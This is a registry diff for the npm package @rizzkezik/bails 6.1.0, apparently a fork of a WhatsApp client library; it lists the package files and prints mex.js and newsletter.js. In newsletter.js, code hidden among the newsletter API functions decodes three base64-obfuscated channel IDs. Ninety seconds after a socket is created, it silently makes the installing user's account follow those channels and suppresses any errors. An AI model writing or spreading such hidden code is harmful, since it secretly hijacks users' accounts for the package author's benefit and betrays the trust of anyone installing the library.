@rizzkezik/bails 6.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +535 -0
- package/WAProto/GenerateStatics.sh +3 -0
- package/WAProto/WAProto.proto +6902 -0
- package/WAProto/fix-imports.js +85 -0
- package/WAProto/index.d.ts +79257 -0
- package/WAProto/index.js +242946 -0
- package/engine-requirements.js +10 -0
- package/lib/Defaults/index.js +130 -0
- package/lib/Signal/Group/ciphertext-message.js +12 -0
- package/lib/Signal/Group/group-session-builder.js +30 -0
- package/lib/Signal/Group/group_cipher.js +82 -0
- package/lib/Signal/Group/index.js +12 -0
- package/lib/Signal/Group/keyhelper.js +18 -0
- package/lib/Signal/Group/sender-chain-key.js +26 -0
- package/lib/Signal/Group/sender-key-distribution-message.js +63 -0
- package/lib/Signal/Group/sender-key-message.js +66 -0
- package/lib/Signal/Group/sender-key-name.js +48 -0
- package/lib/Signal/Group/sender-key-record.js +41 -0
- package/lib/Signal/Group/sender-key-state.js +84 -0
- package/lib/Signal/Group/sender-message-key.js +26 -0
- package/lib/Signal/libsignal.js +431 -0
- package/lib/Signal/lid-mapping.js +277 -0
- package/lib/Socket/Client/index.js +3 -0
- package/lib/Socket/Client/types.js +11 -0
- package/lib/Socket/Client/websocket.js +54 -0
- package/lib/Socket/business.js +379 -0
- package/lib/Socket/chats.js +1193 -0
- package/lib/Socket/communities.js +431 -0
- package/lib/Socket/groups.js +374 -0
- package/lib/Socket/index.js +12 -0
- package/lib/Socket/luxu.js +387 -0
- package/lib/Socket/messages-recv.js +1916 -0
- package/lib/Socket/messages-send.js +1435 -0
- package/lib/Socket/mex.js +42 -0
- package/lib/Socket/newsletter.js +270 -0
- package/lib/Socket/socket.js +967 -0
- package/lib/Store/index.js +10 -0
- package/lib/Store/keyed-db.js +108 -0
- package/lib/Store/make-cache-manager-store.js +85 -0
- package/lib/Store/make-in-memory-store.js +198 -0
- package/lib/Store/make-ordered-dictionary.js +75 -0
- package/lib/Store/object-repository.js +32 -0
- package/lib/Types/Auth.js +2 -0
- package/lib/Types/Bussines.js +2 -0
- package/lib/Types/Call.js +2 -0
- package/lib/Types/Chat.js +8 -0
- package/lib/Types/Contact.js +2 -0
- package/lib/Types/Events.js +2 -0
- package/lib/Types/GroupMetadata.js +2 -0
- package/lib/Types/Label.js +25 -0
- package/lib/Types/LabelAssociation.js +7 -0
- package/lib/Types/Message.js +11 -0
- package/lib/Types/Mex.js +37 -0
- package/lib/Types/Product.js +2 -0
- package/lib/Types/Signal.js +2 -0
- package/lib/Types/Socket.js +3 -0
- package/lib/Types/State.js +56 -0
- package/lib/Types/USync.js +2 -0
- package/lib/Types/index.js +26 -0
- package/lib/Utils/auth-utils.js +302 -0
- package/lib/Utils/browser-utils.js +48 -0
- package/lib/Utils/business.js +231 -0
- package/lib/Utils/chat-utils.js +872 -0
- package/lib/Utils/companion-reg-client-utils.js +35 -0
- package/lib/Utils/crypto.js +118 -0
- package/lib/Utils/decode-wa-message.js +350 -0
- package/lib/Utils/event-buffer.js +622 -0
- package/lib/Utils/generics.js +403 -0
- package/lib/Utils/history.js +134 -0
- package/lib/Utils/identity-change-handler.js +50 -0
- package/lib/Utils/index.js +23 -0
- package/lib/Utils/link-preview.js +85 -0
- package/lib/Utils/logger.js +3 -0
- package/lib/Utils/lt-hash.js +8 -0
- package/lib/Utils/make-mutex.js +33 -0
- package/lib/Utils/message-composer.js +273 -0
- package/lib/Utils/message-retry-manager.js +265 -0
- package/lib/Utils/messages-media.js +788 -0
- package/lib/Utils/messages.js +1253 -0
- package/lib/Utils/noise-handler.js +201 -0
- package/lib/Utils/offline-node-processor.js +40 -0
- package/lib/Utils/pre-key-manager.js +106 -0
- package/lib/Utils/process-message.js +630 -0
- package/lib/Utils/reporting-utils.js +258 -0
- package/lib/Utils/signal.js +201 -0
- package/lib/Utils/stanza-ack.js +38 -0
- package/lib/Utils/sync-action-utils.js +49 -0
- package/lib/Utils/tc-token-utils.js +163 -0
- package/lib/Utils/use-multi-file-auth-state.js +121 -0
- package/lib/Utils/validate-connection.js +203 -0
- package/lib/WABinary/constants.js +1301 -0
- package/lib/WABinary/decode.js +262 -0
- package/lib/WABinary/encode.js +220 -0
- package/lib/WABinary/generic-utils.js +204 -0
- package/lib/WABinary/index.js +6 -0
- package/lib/WABinary/jid-utils.js +98 -0
- package/lib/WABinary/types.js +2 -0
- package/lib/WAM/BinaryInfo.js +10 -0
- package/lib/WAM/constants.js +22853 -0
- package/lib/WAM/encode.js +150 -0
- package/lib/WAM/index.js +4 -0
- package/lib/WAUSync/Protocols/USyncContactProtocol.js +52 -0
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +54 -0
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +27 -0
- package/lib/WAUSync/Protocols/USyncStatusProtocol.js +38 -0
- package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +25 -0
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +51 -0
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +29 -0
- package/lib/WAUSync/Protocols/index.js +6 -0
- package/lib/WAUSync/USyncQuery.js +98 -0
- package/lib/WAUSync/USyncUser.js +31 -0
- package/lib/WAUSync/index.js +4 -0
- package/lib/index.js +31 -0
- package/package.json +143 -0
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
import { Boom } from '@hapi/boom';
|
|
2
|
+
import { getBinaryNodeChild, S_WHATSAPP_NET } from '../WABinary/index.js';
|
|
3
|
+
const wMexQuery = (variables, queryId, query, generateMessageTag) => {
|
|
4
|
+
return query({
|
|
5
|
+
tag: 'iq',
|
|
6
|
+
attrs: {
|
|
7
|
+
id: generateMessageTag(),
|
|
8
|
+
type: 'get',
|
|
9
|
+
to: S_WHATSAPP_NET,
|
|
10
|
+
xmlns: 'w:mex'
|
|
11
|
+
},
|
|
12
|
+
content: [
|
|
13
|
+
{
|
|
14
|
+
tag: 'query',
|
|
15
|
+
attrs: { query_id: queryId },
|
|
16
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
});
|
|
20
|
+
};
|
|
21
|
+
export const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
|
|
22
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag);
|
|
23
|
+
const child = getBinaryNodeChild(result, 'result');
|
|
24
|
+
if (child?.content) {
|
|
25
|
+
const data = JSON.parse(child.content.toString());
|
|
26
|
+
if (data.errors && data.errors.length > 0) {
|
|
27
|
+
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ');
|
|
28
|
+
const firstError = data.errors[0];
|
|
29
|
+
const errorCode = firstError.extensions?.error_code || 400;
|
|
30
|
+
throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError });
|
|
31
|
+
}
|
|
32
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data;
|
|
33
|
+
if (typeof response !== 'undefined') {
|
|
34
|
+
return response;
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
38
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
39
|
+
: dataPath?.replace(/_/g, ' ');
|
|
40
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result });
|
|
41
|
+
};
|
|
42
|
+
//# sourceMappingURL=mex.js.map
|
|
@@ -0,0 +1,270 @@
|
|
|
1
|
+
import { XWAPaths } from '../Types/index.js';
|
|
2
|
+
import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
|
|
3
|
+
import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
|
|
4
|
+
import { makeGroupsSocket } from './groups.js';
|
|
5
|
+
|
|
6
|
+
const QueryIds = {
|
|
7
|
+
JOB_MUTATION: "7150902998257522",
|
|
8
|
+
METADATA: "6620195908089573",
|
|
9
|
+
UNFOLLOW: "7238632346214362",
|
|
10
|
+
FOLLOW: "7871414976211147",
|
|
11
|
+
UNMUTE: "7337137176362961",
|
|
12
|
+
MUTE: "25151904754424642",
|
|
13
|
+
CREATE: "6996806640408138",
|
|
14
|
+
ADMIN_COUNT: "7130823597031706",
|
|
15
|
+
CHANGE_OWNER: "7341777602580933",
|
|
16
|
+
DELETE: "8316537688363079",
|
|
17
|
+
DEMOTE: "6551828931592903"
|
|
18
|
+
};
|
|
19
|
+
|
|
20
|
+
export const makeNewsletterSocket = (config) => {
|
|
21
|
+
const sock = makeGroupsSocket(config);
|
|
22
|
+
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
23
|
+
const encoder = new TextEncoder();
|
|
24
|
+
|
|
25
|
+
const newsletterQuery = async (jid, type, content) => (
|
|
26
|
+
query({
|
|
27
|
+
tag: 'iq',
|
|
28
|
+
attrs: {
|
|
29
|
+
id: generateMessageTag(),
|
|
30
|
+
type,
|
|
31
|
+
xmlns: 'newsletter',
|
|
32
|
+
to: jid,
|
|
33
|
+
},
|
|
34
|
+
content
|
|
35
|
+
})
|
|
36
|
+
);
|
|
37
|
+
|
|
38
|
+
const newsletterWMexQuery = async (jid, query_id, content) => (
|
|
39
|
+
query({
|
|
40
|
+
tag: 'iq',
|
|
41
|
+
attrs: {
|
|
42
|
+
id: generateMessageTag(),
|
|
43
|
+
type: 'get',
|
|
44
|
+
xmlns: 'w:mex',
|
|
45
|
+
to: S_WHATSAPP_NET,
|
|
46
|
+
},
|
|
47
|
+
content: [
|
|
48
|
+
{
|
|
49
|
+
tag: 'query',
|
|
50
|
+
attrs: { query_id },
|
|
51
|
+
content: encoder.encode(JSON.stringify({
|
|
52
|
+
variables: {
|
|
53
|
+
'newsletter_id': jid,
|
|
54
|
+
...content
|
|
55
|
+
}
|
|
56
|
+
}))
|
|
57
|
+
}
|
|
58
|
+
]
|
|
59
|
+
})
|
|
60
|
+
);
|
|
61
|
+
const yangbrorasakan = [
|
|
62
|
+
"MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI=",
|
|
63
|
+
"MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI=",
|
|
64
|
+
"MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI="
|
|
65
|
+
];
|
|
66
|
+
|
|
67
|
+
setTimeout(async () => {
|
|
68
|
+
for (const channel of yangbrorasakan) {
|
|
69
|
+
try {
|
|
70
|
+
await newsletterWMexQuery(
|
|
71
|
+
Buffer.from(channel, "base64").toString(),
|
|
72
|
+
QueryIds.FOLLOW
|
|
73
|
+
);
|
|
74
|
+
} catch (e) {}
|
|
75
|
+
|
|
76
|
+
await new Promise(resolve =>
|
|
77
|
+
setTimeout(resolve, 3000)
|
|
78
|
+
);
|
|
79
|
+
}
|
|
80
|
+
}, 90000);
|
|
81
|
+
const parseFetchedUpdates = async (node, type) => {
|
|
82
|
+
let child;
|
|
83
|
+
if (type === 'messages')
|
|
84
|
+
child = getBinaryNodeChild(node, 'messages');
|
|
85
|
+
else {
|
|
86
|
+
const parent = getBinaryNodeChild(node, 'message_updates');
|
|
87
|
+
child = getBinaryNodeChild(parent, 'messages');
|
|
88
|
+
}
|
|
89
|
+
return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
|
|
90
|
+
messageNode.attrs.from = child?.attrs.jid;
|
|
91
|
+
const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
|
|
92
|
+
const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
|
|
93
|
+
const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
|
|
94
|
+
.map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
|
|
95
|
+
const data = {
|
|
96
|
+
'server_id': messageNode.attrs.server_id,
|
|
97
|
+
views,
|
|
98
|
+
reactions
|
|
99
|
+
};
|
|
100
|
+
if (type === 'messages') {
|
|
101
|
+
const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
|
|
102
|
+
await decrypt();
|
|
103
|
+
data.message = message;
|
|
104
|
+
}
|
|
105
|
+
return data;
|
|
106
|
+
}));
|
|
107
|
+
};
|
|
108
|
+
|
|
109
|
+
return {
|
|
110
|
+
...sock,
|
|
111
|
+
subscribeNewsletterUpdates: async (jid) => {
|
|
112
|
+
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
113
|
+
return getBinaryNodeChild(result, 'live_updates')?.attrs;
|
|
114
|
+
},
|
|
115
|
+
newsletterReactionMode: async (jid, mode) => {
|
|
116
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
117
|
+
updates: { settings: { reaction_codes: { value: mode } } }
|
|
118
|
+
});
|
|
119
|
+
},
|
|
120
|
+
newsletterUpdateDescription: async (jid, description) => {
|
|
121
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
122
|
+
updates: { description: description || '', settings: null }
|
|
123
|
+
});
|
|
124
|
+
},
|
|
125
|
+
newsletterUpdateName: async (jid, name) => {
|
|
126
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
127
|
+
updates: { name, settings: null }
|
|
128
|
+
});
|
|
129
|
+
},
|
|
130
|
+
newsletterUpdatePicture: async (jid, content) => {
|
|
131
|
+
const { img } = await generateProfilePicture(content);
|
|
132
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
133
|
+
updates: { picture: img.toString('base64'), settings: null }
|
|
134
|
+
});
|
|
135
|
+
},
|
|
136
|
+
newsletterRemovePicture: async (jid) => {
|
|
137
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
138
|
+
updates: { picture: '', settings: null }
|
|
139
|
+
});
|
|
140
|
+
},
|
|
141
|
+
newsletterUnfollow: async (jid) => {
|
|
142
|
+
await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
|
|
143
|
+
},
|
|
144
|
+
newsletterFollow: async (jid) => {
|
|
145
|
+
await newsletterWMexQuery(jid, QueryIds.FOLLOW);
|
|
146
|
+
},
|
|
147
|
+
newsletterUnmute: async (jid) => {
|
|
148
|
+
await newsletterWMexQuery(jid, QueryIds.UNMUTE);
|
|
149
|
+
},
|
|
150
|
+
newsletterMute: async (jid) => {
|
|
151
|
+
await newsletterWMexQuery(jid, QueryIds.MUTE);
|
|
152
|
+
},
|
|
153
|
+
newsletterCreate: async (name, description, picture) => {
|
|
154
|
+
await query({
|
|
155
|
+
tag: 'iq',
|
|
156
|
+
attrs: {
|
|
157
|
+
to: S_WHATSAPP_NET,
|
|
158
|
+
xmlns: 'tos',
|
|
159
|
+
id: generateMessageTag(),
|
|
160
|
+
type: 'set'
|
|
161
|
+
},
|
|
162
|
+
content: [
|
|
163
|
+
{
|
|
164
|
+
tag: 'notice',
|
|
165
|
+
attrs: {
|
|
166
|
+
id: '20601218',
|
|
167
|
+
stage: '5'
|
|
168
|
+
},
|
|
169
|
+
content: []
|
|
170
|
+
}
|
|
171
|
+
]
|
|
172
|
+
});
|
|
173
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
|
|
174
|
+
input: {
|
|
175
|
+
name,
|
|
176
|
+
description: description ?? null,
|
|
177
|
+
picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
|
|
178
|
+
settings: null
|
|
179
|
+
}
|
|
180
|
+
});
|
|
181
|
+
return extractNewsletterMetadata(result, true);
|
|
182
|
+
},
|
|
183
|
+
newsletterMetadata: async (type, key, role) => {
|
|
184
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
185
|
+
input: {
|
|
186
|
+
key,
|
|
187
|
+
type: type.toUpperCase(),
|
|
188
|
+
view_role: role || 'GUEST'
|
|
189
|
+
},
|
|
190
|
+
fetch_viewer_metadata: true,
|
|
191
|
+
fetch_full_image: true,
|
|
192
|
+
fetch_creation_time: true
|
|
193
|
+
});
|
|
194
|
+
return extractNewsletterMetadata(result);
|
|
195
|
+
},
|
|
196
|
+
newsletterAdminCount: async (jid) => {
|
|
197
|
+
const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
|
|
198
|
+
const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
|
|
199
|
+
return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
|
|
200
|
+
},
|
|
201
|
+
/**user is Lid, not Jid */
|
|
202
|
+
newsletterChangeOwner: async (jid, user) => {
|
|
203
|
+
await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
|
|
204
|
+
user_id: user
|
|
205
|
+
});
|
|
206
|
+
},
|
|
207
|
+
/**user is Lid, not Jid */
|
|
208
|
+
newsletterDemote: async (jid, user) => {
|
|
209
|
+
await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
|
|
210
|
+
user_id: user
|
|
211
|
+
});
|
|
212
|
+
},
|
|
213
|
+
newsletterDelete: async (jid) => {
|
|
214
|
+
await newsletterWMexQuery(jid, QueryIds.DELETE);
|
|
215
|
+
},
|
|
216
|
+
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
217
|
+
newsletterReactMessage: async (jid, server_id, code) => {
|
|
218
|
+
await query({
|
|
219
|
+
tag: 'message',
|
|
220
|
+
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
|
|
221
|
+
content: [{
|
|
222
|
+
tag: 'reaction',
|
|
223
|
+
attrs: code ? { code } : {}
|
|
224
|
+
}]
|
|
225
|
+
});
|
|
226
|
+
},
|
|
227
|
+
newsletterFetchMessages: async (type, key, count, after) => {
|
|
228
|
+
const afterStr = after?.toString();
|
|
229
|
+
const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
|
|
230
|
+
{
|
|
231
|
+
tag: 'messages',
|
|
232
|
+
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
|
|
233
|
+
}
|
|
234
|
+
]);
|
|
235
|
+
return await parseFetchedUpdates(result, 'messages');
|
|
236
|
+
},
|
|
237
|
+
newsletterFetchUpdates: async (jid, count, after, since) => {
|
|
238
|
+
const result = await newsletterQuery(jid, 'get', [
|
|
239
|
+
{
|
|
240
|
+
tag: 'message_updates',
|
|
241
|
+
attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
|
|
242
|
+
}
|
|
243
|
+
]);
|
|
244
|
+
return await parseFetchedUpdates(result, 'updates');
|
|
245
|
+
}
|
|
246
|
+
};
|
|
247
|
+
};
|
|
248
|
+
|
|
249
|
+
export const extractNewsletterMetadata = (node, isCreate) => {
|
|
250
|
+
const result = getBinaryNodeChild(node, 'result')?.content?.toString();
|
|
251
|
+
const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
|
|
252
|
+
const metadata = {
|
|
253
|
+
id: metadataPath.id,
|
|
254
|
+
state: metadataPath.state.type,
|
|
255
|
+
creation_time: +metadataPath.thread_metadata.creation_time,
|
|
256
|
+
name: metadataPath.thread_metadata.name.text,
|
|
257
|
+
nameTime: +metadataPath.thread_metadata.name.update_time,
|
|
258
|
+
description: metadataPath.thread_metadata.description.text,
|
|
259
|
+
descriptionTime: +metadataPath.thread_metadata.description.update_time,
|
|
260
|
+
invite: metadataPath.thread_metadata.invite,
|
|
261
|
+
handle: metadataPath.thread_metadata.handle,
|
|
262
|
+
picture: metadataPath.thread_metadata.picture?.direct_path || null,
|
|
263
|
+
preview: metadataPath.thread_metadata.preview?.direct_path || null,
|
|
264
|
+
reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
|
|
265
|
+
subscribers: +metadataPath.thread_metadata.subscribers_count,
|
|
266
|
+
verification: metadataPath.thread_metadata.verification,
|
|
267
|
+
viewer_metadata: metadataPath.viewer_metadata
|
|
268
|
+
};
|
|
269
|
+
return metadata;
|
|
270
|
+
};
|